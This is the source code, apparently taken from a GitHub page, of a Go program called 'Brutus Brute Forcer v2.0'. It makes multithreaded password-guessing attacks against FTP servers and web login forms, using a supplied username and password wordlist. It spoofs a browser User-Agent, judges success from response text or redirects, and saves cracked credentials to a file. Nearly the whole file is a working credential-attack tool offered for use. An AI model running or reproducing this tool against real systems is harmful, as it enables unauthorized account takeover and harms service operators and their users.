-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathmain.go
434 lines (379 loc) · 10.4 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
package main
import (
"bufio"
"bytes"
"context"
"flag"
"fmt"
"io"
"log"
"net"
"net/http"
"os"
"os/exec"
"strings"
"sync"
"time"
)
const (
// Colors for output
red = "\033[31m"
green = "\033[32m"
yellow = "\033[33m"
blue = "\033[34m"
reset = "\033[0m"
// FTP Response Codes
FtpReadyForNewUser = 220
FtpNeedPassword = 331
FtpLoginSuccess = 230
FtpNotLoggedIn = 530
FtpConnectionClosed = 421
)
// Initialize logger
var logger *log.Logger
func init() {
file, err := os.OpenFile("app.log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err != nil {
log.Fatal(err)
}
logger = log.New(file, "INFO: ", log.Ldate|log.Ltime|log.Lshortfile)
}
// Setup command line flags
func setupFlags() (flags struct {
ftpTarget string
webTarget string
username string
wordlist string
threads int
rateLimit int
verbose bool
}) {
flag.StringVar(&flags.ftpTarget, "ftp", "", "Specify the target FTP server as IP:port (e.g., 192.168.1.1:21)")
flag.StringVar(&flags.webTarget, "web", "", "Specify the target URL for webpage brute force")
flag.StringVar(&flags.username, "username", "", "Username for login attempts")
flag.StringVar(&flags.wordlist, "wordlist", "", "Path to the password wordlist file")
flag.IntVar(&flags.threads, "threads", 10, "Number of concurrent threads")
flag.IntVar(&flags.rateLimit, "rate", 20, "Rate limit for login attempts per second (default is 20)")
flag.BoolVar(&flags.verbose, "verbose", false, "Enable verbose output")
flag.Usage = func() {
fmt.Println("===================================")
fmt.Println(" Brutus Brute Forcer v2.0 ")
fmt.Println("===================================")
flag.PrintDefaults()
}
flag.Parse()
// Validate flags
if flags.ftpTarget == "" && flags.webTarget == "" {
fmt.Println("Error: At least one of -ftp or -web must be specified")
flag.Usage()
os.Exit(1)
}
if flags.username == "" {
fmt.Println("Error: Username must be specified")
flag.Usage()
os.Exit(1)
}
if flags.wordlist == "" {
fmt.Println("Error: Wordlist path must be specified")
flag.Usage()
os.Exit(1)
}
// Validate wordlist file exists
if _, err := os.Stat(flags.wordlist); os.IsNotExist(err) {
fmt.Printf("Error: Wordlist file not found: %s\n", flags.wordlist)
os.Exit(1)
}
return flags
}
// RateLimiter struct to control the rate of login attempts
type RateLimiter struct {
target string
rate int
last time.Time
mu sync.Mutex
}
// NewRateLimiter creates a new RateLimiter
func NewRateLimiter(target string, rate int) *RateLimiter {
return &RateLimiter{
target: target,
rate: rate,
last: time.Now(),
}
}
// Wait enforces the rate limit
func (r *RateLimiter) Wait() {
r.mu.Lock()
defer r.mu.Unlock()
now := time.Now()
elapsed := now.Sub(r.last)
if minTime := time.Second / time.Duration(r.rate); elapsed < minTime {
time.Sleep(minTime - elapsed)
}
r.last = time.Now()
}
// Result structure to handle both FTP and Web results
type Result struct {
Username string
Password string
Success bool
StatusCode int
Error error
Service string
}
// Stats structure to track attack statistics
type Stats struct {
StartTime time.Time
Attempts int
Successes int
Failures int
mu sync.Mutex
}
func (s *Stats) increment(success bool) {
s.mu.Lock()
defer s.mu.Unlock()
s.Attempts++
if success {
s.Successes++
} else {
s.Failures++
}
}
func (s *Stats) print() {
duration := time.Since(s.StartTime)
fmt.Printf("\n%sAttack Statistics:%s\n", yellow, reset)
fmt.Printf("Duration: %v\n", duration)
fmt.Printf("Total Attempts: %d\n", s.Attempts)
fmt.Printf("Successful: %d\n", s.Successes)
fmt.Printf("Failed: %d\n", s.Failures)
fmt.Printf("Attempts per second: %.2f\n", float64(s.Attempts)/duration.Seconds())
}
func getFTPStatusDescription(code int) string {
switch code {
case FtpReadyForNewUser:
return "Service ready"
case FtpNeedPassword:
return "Username accepted"
case FtpLoginSuccess:
return "Login successful"
case FtpNotLoggedIn:
return "Authentication failed"
case FtpConnectionClosed:
return "Connection closed"
default:
return "Unknown status"
}
}
func attemptFTPLogin(ctx context.Context, address, username, password string) Result {
result := Result{
Username: username,
Password: password,
Service: "FTP",
}
conn, err := net.DialTimeout("tcp", address, 5*time.Second)
if err != nil {
result.Error = err
return result
}
defer conn.Close()
// Set read timeout
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
// Read initial response
response, err := readFTPResponse(conn)
if err != nil {
result.Error = err
return result
}
result.StatusCode = FtpReadyForNewUser
if !strings.HasPrefix(response, fmt.Sprintf("%d", FtpReadyForNewUser)) {
result.Error = fmt.Errorf("unexpected initial response: %s", response)
return result
}
// Send username
fmt.Fprintf(conn, "USER %s\r\n", username)
response, err = readFTPResponse(conn)
if err != nil {
result.Error = err
return result
}
result.StatusCode = FtpNeedPassword
if !strings.HasPrefix(response, fmt.Sprintf("%d", FtpNeedPassword)) {
result.Error = fmt.Errorf("username not accepted: %s", response)
return result
}
// Send password
fmt.Fprintf(conn, "PASS %s\r\n", password)
response, err = readFTPResponse(conn)
if err != nil {
result.Error = err
return result
}
if strings.HasPrefix(response, fmt.Sprintf("%d", FtpLoginSuccess)) {
result.Success = true
result.StatusCode = FtpLoginSuccess
} else if strings.HasPrefix(response, fmt.Sprintf("%d", FtpNotLoggedIn)) {
result.Success = false
result.StatusCode = FtpNotLoggedIn
} else {
result.Error = fmt.Errorf("unexpected response: %s", response)
}
return result
}
func readFTPResponse(conn net.Conn) (string, error) {
buffer := make([]byte, 1024)
n, err := conn.Read(buffer)
if err != nil {
return "", err
}
return string(buffer[:n]), nil
}
func attemptWebpageLogin(ctx context.Context, url, username, password string) Result {
result := Result{
Username: username,
Password: password,
Service: "Web",
}
data := fmt.Sprintf("username=%s&password=%s", username, password)
req, err := http.NewRequestWithContext(ctx, "POST", url, bytes.NewBufferString(data))
if err != nil {
result.Error = err
return result
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
client := &http.Client{
Timeout: 10 * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return nil // Allow redirects
},
}
resp, err := client.Do(req)
if err != nil {
result.Error = err
return result
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
result.Error = err
return result
}
result.StatusCode = resp.StatusCode
// You might want to customize these success conditions based on the target website
result.Success = strings.Contains(string(body), "Login successful") ||
strings.Contains(string(body), "Welcome") ||
strings.Contains(string(body), "Dashboard") ||
resp.StatusCode == 302 // Successful redirect after login
return result
}
// Read lines from a file
func readLines(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, scanner.Err()
}
// Main function
func main() {
flags := setupFlags()
passwords, err := readLines(flags.wordlist)
if err != nil {
logger.Printf("Error reading passwords from %s: %v", flags.wordlist, err)
fmt.Printf("%sError reading passwords: %v%s\n", red, err, reset)
return
}
stats := &Stats{StartTime: time.Now()}
jobs := make(chan string, len(passwords))
results := make(chan Result, len(passwords))
var wg sync.WaitGroup
// Create rate limiters for each target
var ftpLimiter, webLimiter *RateLimiter
if flags.ftpTarget != "" {
ftpLimiter = NewRateLimiter(flags.ftpTarget, flags.rateLimit)
}
if flags.webTarget != "" {
webLimiter = NewRateLimiter(flags.webTarget, flags.rateLimit)
}
for i := 0; i < flags.threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for password := range jobs {
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
var result Result
if flags.webTarget != "" {
webLimiter.Wait()
result = attemptWebpageLogin(ctx, flags.webTarget, flags.username, password)
} else if flags.ftpTarget != "" {
ftpLimiter.Wait()
result = attemptFTPLogin(ctx, flags.ftpTarget, flags.username, password)
}
results <- result
cancel()
}
}()
}
// Send passwords to workers
go func() {
for _, password := range passwords {
jobs <- password
}
close(jobs)
}()
// Wait for completion in a separate goroutine
go func() {
wg.Wait()
close(results)
}()
// Process results
fmt.Printf("\n%sStarting attack with username: %s%s\n\n", blue, flags.username, reset)
outputFile, err := os.Create("successful_logins.txt")
if err != nil {
logger.Printf("Warning: Could not create output file: %v", err)
fmt.Printf("%sWarning: Could not create output file: %v%s\n", yellow, err, reset)
}
defer outputFile.Close()
for result := range results {
if result.Error != nil {
if flags.verbose {
logger.Printf("Error: %s:%s - %v", result.Username, result.Password, result.Error)
fmt.Printf("%sError: %s:%s - %v%s\n", yellow, result.Username, result.Password, result.Error, reset)
}
stats.increment(false)
continue
}
if result.Success {
successMsg := fmt.Sprintf("Success: %s:%s [%d - %s]\n",
result.Username, result.Password, result.StatusCode,
getFTPStatusDescription(result.StatusCode))
logger.Print(successMsg)
fmt.Printf("%s%s%s", green, successMsg, reset)
outputFile.WriteString(successMsg)
stats.increment(true)
} else {
stats.increment(false)
if flags.verbose {
logger.Printf("Failed: %s:%s [%d]", result.Username, result.Password, result.StatusCode)
fmt.Printf("%sFailed: %s:%s [%d]%s\n", red, result.Username, result.Password, result.StatusCode, reset)
}
}
}
// Print final statistics
stats.print()
}
func updateBrutus() {
cmd := exec.Command("git", "pull")
cmd.Dir = "./" // Set the directory to your project path
err := cmd.Run()
if err != nil {
fmt.Printf("Error updating Brutus: %v\n", err)
return
}
fmt.Println("Brutus has been updated to the latest version.")
}